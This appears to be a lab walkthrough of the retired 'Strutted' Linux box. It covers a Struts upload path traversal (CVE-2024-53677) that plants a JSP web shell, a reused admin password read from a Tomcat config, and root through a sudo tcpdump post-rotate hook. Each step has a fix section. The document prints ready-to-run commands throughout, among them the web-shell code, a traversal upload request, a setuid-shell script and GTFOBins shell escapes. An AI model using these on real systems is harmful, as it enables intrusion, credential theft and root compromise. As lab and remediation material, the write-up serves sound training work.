← all walkthroughs

Strutted

Linux· Medium
owned
2026-09-05
time to own
9m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I mapped the strutted.htb virtual host to find an Apache Struts image-sharing application running on Tomcat 9, then exploited a Struts file-upload parameter-traversal flaw (CVE-2024-53677) to plant and execute a JSP web shell, gaining code execution as the tomcat service account. Reading the Tomcat configuration file in full — including a commented-out line easily missed by a casual grep — revealed a live administrator password, which was reused for SSH access to the human user account james.

A passwordless sudo rule for tcpdump was then abused via its post-rotate command hook to spawn a root-owned setuid shell, completing full compromise of the host.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for james>"

Attack path — how the box was taken

1EnumerationVirtual host discovery and web stack fingerprinting
Discovered the real virtual host and fingerprinted the stack
A direct request to the target IP on port 80 returned a 302 redirect to the strutted.htb hostname, showing the actual application only responds to that Host header. Adding a local DNS alias and requesting the vhost surfaced an Apache Struts-based image-sharing site fronted by nginx and served by Tomcat 9, identifiable by its .action endpoints and JSESSIONID cookie.
Curl to $TARGET:80 returned HTTP/1.1 302 Moved Temporarily, Location: http://strutted.htb/.
Exact commands 3
shell

Confirms 22/tcp ssh and 80/tcp nginx 1.18.0 (Ubuntu).

$ nmap -p- -sV -sC $TARGET
shell

Resolve the vhost the application actually answers on.

$ echo "$TARGET strutted.htb" | sudo tee -a /etc/hosts
shell

Confirms the Struts/Tomcat app behind the nginx front end.

$ curl -sI http://strutted.htb/
2ExploitationApache Struts file-upload parameter path traversal (CVE-2024-53677)
Uploaded a JSP web shell via a Struts file-upload path traversal
The site's /upload.action endpoint used the Struts file-upload interceptor's parameter name to control the saved file path. Submitting a multipart request whose upload field was named 'Upload' (capitalization is required for the interceptor to fire) with a PNG-magic-byte-prefixed JSP payload and a top.UploadFileName field containing a '../' traversal wrote the file outside the normally static-only uploads directory, into a path Tomcat would execute as JSP. Requesting the resulting shell.jsp with a cmd parameter gave unauthenticated remote command execution as the tomcat service account.
Curl -sS http://$TARGET/shell.jsp?cmd=id -H 'Host: strutted.htb' returned uid=998(tomcat) gid=998(tomcat) groups=998(tomcat).
Exact commands 3
shell

Prepend PNG magic bytes to a JSP one-liner so the upload passes any content sniffing.

$ printf '\x89PNG\r\n\x1a\n' > shell.jsp; echo '<% if(request.getParameter("cmd")!=null){ Process p=Runtime.getRuntime().exec(request.getParameter("cmd")); java.io.InputStream in=p.getInputStream(); int a; while((a=in.read())!=-1){ out.print((char)a);} } %>' >> shell.jsp
shell

The 'Upload' field name (exact case) plus the traversal in top.UploadFileName writes shell.jsp into an executable path.

$ curl -sS -X POST 'http://strutted.htb/upload.action' -F 'Upload=@shell.jsp;type=image/png' -F 'top.UploadFileName=../../shell.jsp'
shell

Confirms code execution as tomcat (uid=998).

$ curl -sS http://$TARGET/shell.jsp?cmd=id -H 'Host: strutted.htb'
FixPatch Apache Struts and validate file-upload parametersCritical
WeaknessThe application ran an Apache Struts version vulnerable to CVE-2024-53677, where the file-upload interceptor's field name controlled the server-side save path. An externally supplied traversal in that field wrote an executable JSP file outside the intended static uploads directory, giving remote code execution with no authentication.
FixUpgrade Apache Struts to a patched release (6.4.0 or later) that removes the vulnerable file-upload interceptor behavior. Additionally, enforce a fixed upload directory with no externally controlled path component, reject any filename containing path-traversal sequences, and store uploads outside any web-executable directory.
3Credential AccessSensitive data exposure in application configuration (CWE-200 / CWE-798)
Recovered a live administrator password hidden in a Tomcat config comment
From the tomcat web-shell foothold, reading the full tomcat-users.xml file (not just lines matching '<user') revealed a working admin credential left inside an XML comment rather than an active user entry. This password was valid for SSH, even though it did not work with su locally — the tomcat systemd unit runs with NoNewPrivileges=true, which blocks su from a service-spawned shell but has no effect on the separate sshd service.
tomcat-users.xml contained a commented-out entry for admin's password in addition to the active manager account.
Exact commands 1
shell

Read the full config file, including commented-out lines, not just active <user> tags.

$ curl -sS "http://$TARGET/shell.jsp?cmd=cat+/var/lib/tomcat9/conf/tomcat-users.xml" -H 'Host: strutted.htb'
FixRemove live credentials from application config files and stop password reuseHigh
WeaknessA working administrator password was left inside an XML comment in tomcat-users.xml, readable by the tomcat service account. That same password was reused for the human user james's SSH login, letting a web-application compromise turn directly into an OS-level account takeover.
FixStrip all credentials — active or commented-out — from tomcat-users.xml and any other config files, rotating the exposed password immediately. Restrict the file to root:tomcat 640 permissions, store secrets in a vault or environment-scoped secret manager instead of flat files, and enforce unique, non-reused passwords per account/service.
4Lateral MovementCredential reuse across services (T1078)
Used the recovered password for SSH access as the james user and captured user.txt
The credential found in the Tomcat config was reused for the local human account james over SSH, upgrading the low-privilege web-shell foothold to a full interactive shell as a member of the sudo group. The user flag was read from that session.
SSH login returned uid=1000(james) gid=1000(james) groups=1000(james),27(sudo); user.txt read from /home/james/user.txt.
Exact commands 2
shell

Confirms shell access as james, group sudo.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null james@$TARGET 'id'
shell

Reads the user flag; output is <user.txt>.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null james@$TARGET 'cat /home/james/user.txt'
5Privilege Escalation (Enumeration)Sudo misconfiguration enumeration
Found a passwordless sudo rule for tcpdump
Running sudo -l as james showed the account could run /usr/sbin/tcpdump as root with no password, a common misconfiguration that GTFOBins documents as a direct route to root because tcpdump supports executing an arbitrary command via its -z post-rotate hook.
Sudo -l output: 'User james may run the following commands on localhost: (ALL) NOPASSWD: /usr/sbin/tcpdump'.
Exact commands 1
shell

Lists james's passwordless sudo rights.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null james@$TARGET 'sudo -l'
(ALL) NOPASSWD: /usr/sbin/tcpdump
FixRemove the passwordless sudo rule for tcpdumpCritical
WeaknessJames could run /usr/sbin/tcpdump as root with no password. tcpdump's -z post-rotate-command option executes an arbitrary program as root, letting any user with this sudo rule escalate to a full root shell.
FixRemove the tcpdump NOPASSWD sudoers entry. If packet capture must be delegated, grant CAP_NET_RAW/CAP_NET_ADMIN via setcap on the tcpdump binary for the specific user instead of sudo, or wrap it in a restrictive script that disallows the -z/-Z flags.
6Privilege Escalation (Exploitation)GTFOBins sudo tcpdump privilege escalation (T1548.003)
Abused tcpdump's post-rotate command hook to get a root shell
Tcpdump's -z flag runs an arbitrary program as root once a capture file rotates. Forcing an immediate rotation (-W 1 -G 1 against the loopback interface, with -Z root so the hook runs privileged rather than as the invoking user) executed a script that copied /bin/bash to /tmp/rootbash and set the setuid bit, producing a root-owned setuid shell. Running that shell with -p preserved the elevated privileges, confirmed with id showing euid=0 before reading root.txt.
Id showed uid=1000(james) euid=0(root) egid=0(root); root.txt read from /root/root.txt.
Exact commands 4
shell

Run over the james SSH session — writes the privileged rotate-hook script.

$ printf '#!/bin/sh\ncp /bin/bash /tmp/rootbash\nchmod 6777 /tmp/rootbash\n' > /tmp/x; chmod +x /tmp/x
shell

-G 1 -W 1 forces immediate rotation (no traffic needed); -Z root is required for the hook to run as root.

$ sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/x -Z root
shell

Confirms euid=0 before touching the flag.

$ /tmp/rootbash -p -c 'id'
shell

Reads the root flag; output is <root.txt>.

$ /tmp/rootbash -p -c 'cat /root/root.txt'

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
80/tcp